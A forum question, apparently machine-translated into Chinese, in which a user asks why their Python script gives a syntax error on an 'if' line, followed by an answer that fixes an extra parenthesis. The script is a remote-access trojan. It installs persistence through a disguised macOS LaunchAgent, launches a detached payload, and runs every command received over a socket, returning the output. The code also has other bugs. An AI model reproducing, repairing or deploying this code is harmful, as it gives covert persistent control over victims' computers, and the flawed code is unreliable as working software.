Problems with if - Python3


import socket
import subprocess
import os
p = os.path.dirname(os.path.abspath(__file__))
setsidrat = ("setsid python3 {p}dada.py")
with open("systemfaster.sh", "w") as python_script_file:
python_script_file.write(setsidrat)
l = f"""
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.example.exampled</string>
<key>LaunchOnlyOnce</key>
<true/>
<key>ProgramArguments</key>
<array>
<string>/bin/bash</string>
<string>{p}systemfaster.sh</string>
</array>
</dict>
</plist>')
"""
with open("com.example.exampld.plist", "w") as python_script_file:
python_script_file.write(l)
os.system("launchctl load Library/LaunchAgents/com.example.exampld.plist")
SERVER_HOST = "127.0.0.1"
SERVER_PORT = 2323
BUFFER_SIZE = "1024"
# create the socket object
s = socket.socket()
# connect to the server
s.connect((SERVER_HOST, SERVER_PORT))
while True:
# receive the command from the server
command = int((s.recv(BUFFER_SIZE).decode())
if command=="exit":
break
# execute the command and retrieve the results
output = subprocess.getoutput(command)
# send the results back to the server
s.send(output.encode())
# close client connection
s.close()

这是接收命令并执行命令的服务器客户端,但python说if的第41行有语法问题,我无法解决这个简单的问题,因为我知道是什么原因。我还尝试删除它,它为下一行代码打印了语法错误。

这部分代码int((s.recv(BUFFER_SIZE).decode())使用了一个额外的partentheses。请改用此int(s.recv(BUFFER_SIZE).decode())

最新更新